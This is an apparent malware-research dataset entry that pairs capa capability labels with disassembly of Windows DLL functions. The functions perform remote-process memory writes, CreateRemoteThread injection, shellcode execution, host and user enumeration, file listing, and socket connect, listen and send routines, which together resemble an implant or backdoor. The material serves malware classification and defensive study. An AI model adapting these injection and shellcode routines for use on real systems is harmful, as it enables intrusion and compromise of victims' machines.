joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004d8f
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor edi, edi
mov esi, eax
cmp dword [0x1003b0b0], edi
jne 0x10004db1
push 0x80004
call fcn.10014ae9
pop ecx
mov dword [0x1003b0b0], eax
push dword [esi]
call sub.WS2_32.dll_htonl
mov ecx, dword [0x1003b0b0]
mov dword [ecx], eax
mov ebx, dword [esi + 4]
cmp ebx, dword [ebp + 8]
jbe 0x10004dec
mov ebx, dword [ebp + 8]
jmp 0x10004dec
push dword [esi + 8]
mov eax, dword [0x1003b0b0]
push ebx
lea eax, [eax + edi + 4]
push 1
push eax
call fcn.10015c5b
add esp, 0x10
add edi, eax
sub ebx, eax
sub dword [esi + 4], eax
test ebx, ebx
ja 0x10004dcd
push 8
add edi, 4
push edi
push dword [0x1003b0b0]
call fcn.10001d50
push fcn.10001d50
call fcn.10004e13
add esp, 0x10
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10004ed4
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x24]
call fcn.10006d33
mov edi, 0x80
lea esi, [ebp - 0x14]
call fcn.10001a30
lea esi, [ebp - 0x24]
call fcn.10006d44
push eax
lea esi, [ebp - 0x14]
call fcn.10001a4f
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push eax
push 0x1002bde4
call fcn.10001aa2
pop ecx
pop ecx
push 0x16
mov eax, esi
call fcn.10001af8
push eax
mov eax, esi
call fcn.10001af5
push eax
call fcn.10001d50
add esp, 0xc
mov eax, esi
call fcn.10001adc
pop edi
pop esi
leave
ret

Function at 0x10004f3f
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and al, 0x10
xor ecx, ecx
cmp al, 0x10
sete cl
mov eax, ecx
pop ebp
ret
Function at 0x10005010
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x17c
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, 0x4000
push edi
call fcn.10014ae9
push edi
mov ebx, eax
push 0
push ebx
call fcn.10018150
push dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x158]
call fcn.10006d33
mov esi, eax
call fcn.10006d44
mov dword [ebp - 0x16c], eax
mov eax, esi
push edi
push eax
call fcn.10006de8
mov edi, 0x200000
lea esi, [ebp - 0x158]
call fcn.10001a30
push dword [ebp - 0x16c]
call fcn.10001a4f
mov esi, 0x4000
push esi
push 0x1002bdf0
push ebx
call fcn.10015f92
add esp, 0x2c
test eax, eax
jne 0x100050af
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 2
push 0x1002bdf4
push esi
push ebx
call fcn.10016052
add esp, 0x10
push ebx
push 0x1002bdf8
lea esi, [ebp - 0x158]
call fcn.10001aa2
pop ecx
pop ecx
lea eax, [ebp - 0x148]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10005111
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push str.could_not_open__s:__d
call fcn.10001d95
add esp, 0xc
push 0x16
mov eax, esi
call fcn.10001af8
push eax
mov eax, esi
call fcn.10001af5
push eax
call fcn.10001d50
push ebx
call fcn.10014a0c
add esp, 0x10
jmp 0x10005228
push ebx
call fcn.10014a0c
pop ecx
lea eax, [ebp - 0x17c]
push eax
lea eax, [ebp - 0x134]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x17c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
test byte [ebp - 0x148], 0x10
lea esi, [ebp - 0x158]
je 0x10005197
lea eax, [ebp - 0x11c]
push eax
movzx eax, word [ebp - 0x15c]
push eax
movzx eax, word [ebp - 0x15e]
push eax
movzx eax, word [ebp - 0x160]
push eax
movzx eax, word [ebp - 0x168]
push eax
movzx eax, word [ebp - 0x162]
push eax
movzx eax, word [ebp - 0x166]
push eax
push str.D_t0_t_02d__02d__02d__02d:_02d:_02d_t_s_n
call fcn.10001aa2
add esp, 0x20
jmp 0x100051e9
mov ecx, dword [ebp - 0x12c]
lea edx, [ebp - 0x11c]
push edx
movzx edx, word [ebp - 0x15c]
push edx
movzx edx, word [ebp - 0x15e]
mov eax, dword [ebp - 0x128]
push edx
movzx edx, word [ebp - 0x160]
push edx
movzx edx, word [ebp - 0x168]
push edx
movzx edx, word [ebp - 0x162]
push edx
movzx edx, word [ebp - 0x166]
push edx
push ecx
push eax
push str.F_t_I64d_t_02d__02d__02d__02d:_02d:_02d_t_s_n
call fcn.10001aa2
add esp, 0x28
lea eax, [ebp - 0x148]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10005118
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x16
lea eax, [ebp - 0x158]
call fcn.10001af8
push eax
lea eax, [ebp - 0x158]
call fcn.10001af5
push eax
call fcn.10001d50
add esp, 0xc
lea eax, [ebp - 0x158]
call fcn.10001adc
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100149fd
leave
ret
Function at 0x10005242
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push edi
push 0
push 0
push dword [ebp + 8]
call esi
mov edi, eax
test edi, edi
jne 0x10005260
xor eax, eax
jmp 0x10005283
lea ecx, [edi + 1]
mov eax, 0x100
cmp ecx, eax
jae 0x1000525c
push eax
push 0
push dword [ebp + 0xc]
call fcn.10018150
add esp, 0xc
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
pop edi
pop esi
pop ebp
ret

Function at 0x100053c7
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x40
mov edi, eax
push 0x1000
lea eax, [edi + 0x400]
push eax
xor esi, esi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
jne 0x1000540c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
sub edi, 0xffffff80
push edi
push str.could_not_allocate__d_bytes_in_process:__d
call fcn.10001d95
add esp, 0xc
xor eax, eax
jmp 0x1000543f
test edi, edi
jle 0x1000543d
lea eax, [ebp - 4]
push eax
mov eax, edi
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
lea eax, [ebx + esi]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10005444
add esi, dword [ebp - 4]
cmp dword [ebp - 4], 0
je 0x10005408
cmp esi, edi
jl 0x10005410
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.could_not_write_to_process_memory:__d
call fcn.10001d95
pop ecx
pop ecx
jmp 0x10005408

Function at 0x10005459
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push dword [ebp + 0xc]
push ebx
call fcn.100053c7
pop ecx
pop ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.10004abb
pop ecx
test eax, eax
je 0x10005495
push ebx
call fcn.10004abb
pop ecx
test eax, eax
jne 0x10005495
push dword [ebp + 0x10]
add esi, edi
push esi
push ebx
call fcn.10005b3c
jmp 0x100054c3
xor eax, eax
push eax
push eax
push dword [ebp + 0x10]
add esi, edi
push esi
push eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x100054dd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp + 0x10]
mov ecx, esi
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ebx
call fcn.10005971
add esp, 0xc
test eax, eax
jne 0x100054dd
push dword [ebp - 4]
push dword [ebp + 8]
push str.could_not_create_remote_thread_in__d:__d
call fcn.10001d95
add esp, 0xc
pop esi
leave
ret
Function at 0x10005790
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
call fcn.10009365
push 0x44
pop edi
push edi
lea eax, [ebp - 0x70]
push esi
push eax
call fcn.10018150
mov dword [ebp - 0x70], edi
xor eax, eax
lea edi, [ebp - 0x28]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x100000
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], 0xc
mov dword [ebp - 0x10], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor eax, eax
mov word [ebp - 0x40], ax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp + 0x24]
lea edi, [ebp - 0x70]
mov dword [ebp - 0x44], 0x101
mov dword [ebp - 0x38], esi
call fcn.1000558b
pop ecx
pop ecx
test eax, eax
je 0x100058bc
push dword [ebp - 0x20]
push esi
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp eax, esi
jne 0x10005857
call fcn.10009375
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x20]
push str.could_not_open_process__d:__d
call fcn.10001d95
add esp, 0xc
jmp 0x100058c1
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0x1c]
cmp eax, esi
jbe 0x10005875
push dword [ebp + 0x18]
push dword [ebp - 4]
call fcn.100053c7
pop ecx
pop ecx
mov ebx, eax
mov edi, dword [ebp + 0xc]
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 0x10]
mov ebx, dword [ebp - 4]
push dword [ebp - 0x20]
call fcn.10005459
add esp, 0xc
cmp dword [ebp + 8], esi
jbe 0x1000589f
push dword [ebp + 8]
push dword [ebp - 0xc]
call fcn.100061f7
pop ecx
pop ecx
push dword [ebp + 0x20]
lea esi, [ebp - 0x28]
push dword [ebp - 8]
push dword [ebp - 0xc]
sub esp, 0x10
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.10005e8f
add esp, 0x1c
call fcn.10009375
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005b3c
Capabilities:
Allocate or change rwx memory
Check os version
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x90
lea eax, [ebp - 0x94]
push 0
push eax
call fcn.10018150
add esp, 0xc
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x10005b87
xor eax, eax
jmp 0x10005c56
cmp dword [ebp - 0x94], 5
jne 0x10005ba3
cmp dword [ebp - 0x90], 2
jne 0x10005ba3
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x10005b80
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x40
mov ebx, 0x3000
push ebx
push 0x4c
push 0
call esi
mov edi, eax
mov dword [ebp - 0x9c], edi
test edi, edi
je 0x10005c29
push 0x40
push ebx
push 0x149
push 0
call esi
mov ebx, eax
test ebx, ebx
je 0x10005c29
mov eax, dword [ebp + 8]
push 0x13
pop ecx
push 0x4a
mov esi, 0x10031128
rep movsd dword es:[edi], dword [esi]
pop ecx
mov esi, 0x10031178
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea esi, [ebx + 0x129]
and dword [esi + 0x18], 0
mov dword [esi], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp + 0x10]
push esi
push ebx
mov dword [esi + 0x10], eax
call dword [ebp - 0x9c]
test eax, eax
jne 0x10005c1a
push 5
jmp 0x10005c23
mov esi, dword [esi + 0x18]
test esi, esi
jne 0x10005c2d
push 6
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x10005c53
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, 0x4000
push edi
push 0
push dword [ebp - 0x9c]
call esi
push edi
push 0
push ebx
call esi
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100149fd
leave
ret

Function at 0x100060a0
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], esi
push esi
lea eax, [ebp - 8]
push eax
push esi
push esi
push esi
push dword [ebp + 8]
call edi
test eax, eax
jne 0x100060fa
or eax, 0xffffffff
jmp 0x10006102
cmp dword [ebp - 4], 0x80000
jae 0x100060ff
push esi
lea eax, [ebp - 0xc]
push eax
mov eax, 0x80000
sub eax, dword [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0xc]
add dword [ebp - 4], eax
add dword [ebp + 0xc], eax
jmp 0x100060b6
cmp dword [ebp - 8], esi
ja 0x100060cc
mov eax, dword [ebp - 0xc]
pop edi
pop esi
leave
ret
Function at 0x100065c2
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
xor ebx, ebx
push ebx
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
xor edi, edi
call esi
test eax, eax
je 0x1000662a
cmp dword [ebp - 4], 4
jne 0x1000662a
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0x10]
jg 0x1000662a
cmp eax, ebx
jle 0x10006626
push ebx
lea ecx, [ebp - 4]
push ecx
sub eax, edi
push eax
mov eax, dword [ebp + 0xc]
add eax, edi
push eax
push dword [ebp + 8]
call esi
test eax, eax
je 0x1000662a
cmp dword [ebp - 4], ebx
je 0x1000662a
add edi, dword [ebp - 4]
mov eax, dword [ebp - 8]
cmp edi, eax
jl 0x10006600
mov eax, edi
jmp 0x1000662d
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10006632
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
xor edi, edi
push edi
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 8]
mov dword [ebp - 4], edi
call esi
cmp eax, edi
je 0x10006693
cmp dword [ebp - 4], 4
jne 0x10006695
cmp dword [ebp + 0x10], edi
jbe 0x10006695
mov eax, dword [ebp + 0x10]
sub eax, edi
cmp eax, 0x2000
jbe 0x10006673
mov eax, 0x2000
push 0
lea ecx, [ebp - 4]
push ecx
push eax
mov eax, dword [ebp + 0xc]
add eax, edi
push eax
push dword [ebp + 8]
call esi
test eax, eax
je 0x10006693
add edi, dword [ebp - 4]
cmp edi, dword [ebp + 0x10]
jb 0x10006662
jmp 0x10006695
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x10006bd8
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1003eb28]
push ebx
push esi
push edi
push 0x294
mov dword [ebp - 0x14], eax
call fcn.10006cdf
mov edx, eax
mov ebx, 0x94
pop ecx
mov esi, ebx
mov dword [ebp - 8], edx
call fcn.10006d81
add esi, 0x6c
mov edi, eax
call fcn.10006d81
mov dword [ebp - 0x10], eax
call fcn.10006d81
lea ecx, [ebp - 4]
push ecx
push eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call fcn.100097e6
test eax, eax
je 0x10006c44
push 2
push 0x1002c0d0
push esi
push dword [ebp - 0xc]
call fcn.10016052
add esp, 0x10
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebx
push 0
push edi
call fcn.10018150
add esp, 0xc
push edi
mov dword [edi], ebx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
call fcn.1000bd8f
mov ebx, eax
test ebx, ebx
jne 0x10006c85
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.10004abb
pop ecx
test eax, eax
je 0x10006c88
xor eax, eax
inc eax
push ebx
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.100035b5
push eax
push dword [edi + 8]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push dword [ebp - 0x14]
push str._d_t_d_t_d._d_t_s_t_s_t_s_t_d_t_d
push esi
push dword [ebp + 8]
call fcn.10014bb3
mov eax, dword [ebp + 8]
add esp, 0x30
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10006cbd
sub eax, ecx
mov edi, eax
cmp edi, 0x5d
jle 0x10006cd0
push 0x5d
pop edi
mov esi, dword [ebp - 8]
call fcn.10006d21
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10006e28
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
push edi
mov edi, eax
jle 0x10006e56
mov eax, dword [ebp + 0xc]
push 0
sub eax, esi
push eax
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
add edi, eax
add esi, eax
cmp eax, 0xffffffff
je 0x10006e5c
cmp esi, dword [ebp + 0xc]
jl 0x10006e36
mov eax, esi
pop edi
pop esi
pop ebp
ret
push 2
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [ebp + 8]
call sub.WS2_32.dll_closesocket
or eax, 0xffffffff
jmp 0x10006e58
Function at 0x10006ef0
Capabilities:
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
inc esi
push edi
mov dword [ebp - 0x18], esi
call fcn.10002485
push 0
push esi
push 2
call sub.WS2_32.dll_socket
mov esi, eax
or edi, 0xffffffff
cmp esi, edi
jne 0x10006f24
mov eax, edi
jmp 0x10006f78
push 2
pop eax
push dword [ebp + 8]
mov word [ebp - 0x14], ax
call sub.WS2_32.dll_htons
and dword [ebp - 0x10], 0
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x18]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, edi
jne 0x10006f57
push esi
call sub.WS2_32.dll_closesocket
jmp 0x10006f20
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, edi
je 0x10006f4f
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, edi
je 0x10006f4f
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100149fd
leave
ret

Function at 0x10006fda
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov eax, dword [esi]
push edi
xor ebx, ebx
inc ebx
push eax
mov edi, edx
mov dword [ebp - 0x420], ebx
add esi, 4
mov dword [ebp - 0x41c], eax
call sub.WS2_32.dll_ntohl
mov dword [ebp - 0x428], eax
movzx eax, word [esi]
inc esi
push eax
inc esi
sub edi, 6
call sub.WS2_32.dll_ntohs
movzx eax, ax
mov dword [ebp - 0x424], eax
mov eax, 0x3ff
cmp edi, eax
jl 0x10007036
mov edi, eax
push edi
lea eax, [ebp - 0x408]
push esi
push eax
call fcn.10016510
add esp, 0xc
mov byte [ebp + edi - 0x408], 0
call fcn.10002485
push 0
push ebx
push 2
call sub.WS2_32.dll_socket
mov esi, eax
or edi, 0xffffffff
cmp esi, edi
jne 0x10007085
push edi
call sub.WS2_32.dll_closesocket
push 4
lea eax, [ebp - 0x41c]
push 4
push eax
call fcn.10001d50
add esp, 0xc
jmp 0x10007111
lea eax, [ebp - 0x408]
push eax
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0x10007098
push esi
jmp 0x10007068
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x414]
push eax
call fcn.10016510
add esp, 0xc
push 2
pop eax
push dword [ebp - 0x424]
mov word [ebp - 0x418], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0x416], ax
lea eax, [ebp - 0x420]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, edi
je 0x10007095
push 0x10
lea eax, [ebp - 0x418]
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, edi
jne 0x10007104
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10007095
mov ebx, dword [ebp - 0x428]
push esi
call fcn.10006ed5
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100149fd
leave
ret
Function at 0x10007120
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov ebx, eax
add ebx, 0x7530
and dword [ebp - 8], 0
mov dword [ebp - 4], 0x64
jmp 0x100071d8
mov eax, dword [edi + 0x1c]
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x10c], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x218]
push eax
xor ecx, ecx
inc ecx
push 0
push 0
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x110], ecx
call dword [sym.imp.WS2_32.dll_select]
lea eax, [ebp - 0x110]
push eax
push dword [edi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x100071e2
lea eax, [ebp - 0x218]
push eax
push dword [edi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x100071d8
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x1c]
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
jne 0x100071e2
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x100071e2
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
cmp eax, ebx
jb 0x1000714b
pop esi
pop ebx
leave
ret
Function at 0x1000726b
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x33c
push ebx
push esi
mov esi, dword [0x1003b2cc]
xor ebx, ebx
push edi
mov dword [ebp - 8], esi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], 0x64
cmp esi, ebx
je 0x1000744e
jmp 0x1000729c
mov esi, dword [ebp - 8]
cmp dword [esi + 4], 2
jne 0x10007440
push dword [esi]
call sub.WS2_32.dll_htonl
mov dword [ebp - 4], eax
mov dword [ebp - 0x338], ebx
mov dword [ebp - 0x230], ebx
mov dword [ebp - 0x128], ebx
mov eax, dword [esi + 0x1c]
mov dword [ebp - 0x334], eax
xor edi, edi
inc edi
mov dword [ebp - 0x338], edi
mov eax, dword [esi + 0x1c]
mov dword [ebp - 0x22c], eax
mov dword [ebp - 0x230], edi
mov eax, dword [esi + 0x1c]
mov dword [ebp - 0x124], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x338]
push eax
lea eax, [ebp - 0x128]
push eax
push ebx
mov dword [ebp - 0x128], edi
call dword [sym.imp.WS2_32.dll_select]
cmp dword [esi + 0x10], 2
jne 0x100073a4
lea eax, [ebp - 0x128]
push eax
push dword [esi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x10007440
push ebx
push ebx
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_accept]
mov ecx, eax
call fcn.10007255
push edi
push ebx
push ebx
push 0x2bf20
push ecx
mov ebx, eax
mov dword [ebp - 4], eax
call fcn.10006e74
add edi, 0x7f
lea esi, [ebp - 0x18]
call fcn.10001a30
push dword [ebp - 4]
call fcn.10001a4f
mov eax, dword [ebp - 8]
push dword [eax + 0x14]
call fcn.10001a4f
add esp, 0x1c
push 0x17
mov eax, esi
call fcn.10001af8
push eax
mov eax, esi
call fcn.10001af5
push eax
call fcn.10001d50
add esp, 0xc
mov eax, esi
call fcn.10001adc
mov esi, dword [ebp - 8]
xor ebx, ebx
jmp 0x10007440
lea eax, [ebp - 0x230]
push eax
push dword [esi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x1000742d
lea eax, [ebp - 0x338]
push eax
push dword [esi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x100073d1
mov dword [esi + 4], edi
push 6
jmp 0x10007432
lea eax, [ebp - 0x128]
push eax
push dword [esi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x1000741f
mov eax, dword [esi + 0x1c]
push ebx
push ebx
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.WS2_32.dll_accept]
mov dword [esi + 0x1c], eax
cmp eax, 0xffffffff
lea eax, [ebp - 4]
jne 0x10007405
mov dword [esi + 4], ebx
push 4
jmp 0x1000740a
mov dword [esi + 4], edi
push 6
push 4
push eax
call fcn.10001d50
add esp, 0xc
push dword [ebp - 8]
call sub.WS2_32.dll_closesocket
jmp 0x10007440
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esi + 0x18]
cmp eax, dword [esi + 8]
jbe 0x10007440
push 4
mov dword [esi + 4], ebx
lea eax, [ebp - 4]
push 4
push eax
call fcn.10001d50
add esp, 0xc
mov eax, dword [esi + 0x20]
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x10007299
pop edi
pop esi
pop ebx
leave
ret